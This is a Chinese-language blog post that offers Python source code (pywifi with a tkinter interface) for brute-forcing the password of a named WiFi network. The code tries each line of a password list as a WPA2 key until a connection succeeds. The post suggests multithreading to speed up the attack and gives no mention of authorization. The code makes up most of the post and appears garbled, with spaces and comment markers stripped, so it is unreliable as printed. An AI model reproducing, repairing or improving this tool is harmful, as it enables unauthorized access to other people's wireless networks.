【程序源代码】暴力破解WiFi密码

关键字:暴力破解WiFi密码 源码

01

【总体介绍】

大家好!

今天开发一套暴力破解WiFi密码 源码,主要是用于暴力破解WiFi密码。这个源码是基于python语言编辑执行的。相对来说比较简单,如果有python开发基本的同学来说,其实就更容易了。

本文学习了 Python 暴力破解 WIFI 密码的方法、以及 Python GUI 图形化编程的基础使用。所演示的代码的不足在于均没有使用多线程进行 WIFI 连接测试,实际上因为 WIFI 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间。这样即省钱又省力,何乐而不为呢。下面就开始今天的正题。

02

【源码使用说明】

一、软件开发环境和语言

首选介绍下开发中主要使用的语言:python

已经生成了可在微信系统上可运行exe,一键部署应用,非常的方便使用。

03

【实现效果】

【程序源代码】暴力破解WiFi密码插图1

04

【代码获取】

这个里面的代码下载就可以了

fromtkinterimport*frompywifiimportconstimportpywifiimporttime主要步骤:1、获取第一个无线网卡2、断开所有的wifi3、读取密码本4、设置睡眠时间defwificonnect(str,wifiname):窗口无线对象wifi = pywifi.PyWiFi()抓取第一个无线网卡ifaces = wifi.interfaces()[0]断开所有的wifiifaces.disconnect()time.sleep(1)ififaces.status() == const.IFACE_DISCONNECTED:创建wifi连接文件profile = pywifi.Profile()profile.ssid = wifinamewifi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)wifi的密码profile.key = str网卡的开发profile.auth = const.AUTH_ALG_OPEN加密单元,这里需要写点加密单元否则无法连接profile.cipher = const.CIPHER_TYPE_CCMP删除所有的wifi文件ifaces.remove_all_network_profiles()设置新的连接文件tep_profile = ifaces.add_network_profile(profile)连接ifaces.connect(tep_profile)time.sleep(3)ififaces.status() == const.IFACE_CONNECTED:return Trueelse:return FalsedefreadPwd():获取wiif名称wifiname = entry.get().strip()path =r./pwd.txtfile =open(path,r)while True:try:读取mystr = file.readline().strip()测试连接bool = wificonnect(mystr,wifiname)ifbool:text.insert(END,密码正确+ mystr)text.see(END)text.update()file.close()breakelse:text.insert(END,密码错误+ mystr)text.see(END)text.update()except:continue创建窗口root = Tk()root.title(wifi破解)root.geometry(500x400)标签label = Label(root,text=输入要破解的WIFI名称:)定位label.grid()输入控件entry = Entry(root,font=(微软雅黑,14))entry.grid(row=0,column=1)列表控件text = Listbox(root,font=(微软雅黑,14),width=40,height=10)text.grid(row=1,columnspan=2)按钮button = Button(root,text=开始破解,width=20,height=2,command=readPwd)button.grid(row=2,columnspan=2)显示窗口root.mainloop()

原创文章 【程序源代码】暴力破解WiFi密码,版权所有
如若转载,请注明出处:https://www.itxiaozhan.cn/202212609.html

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注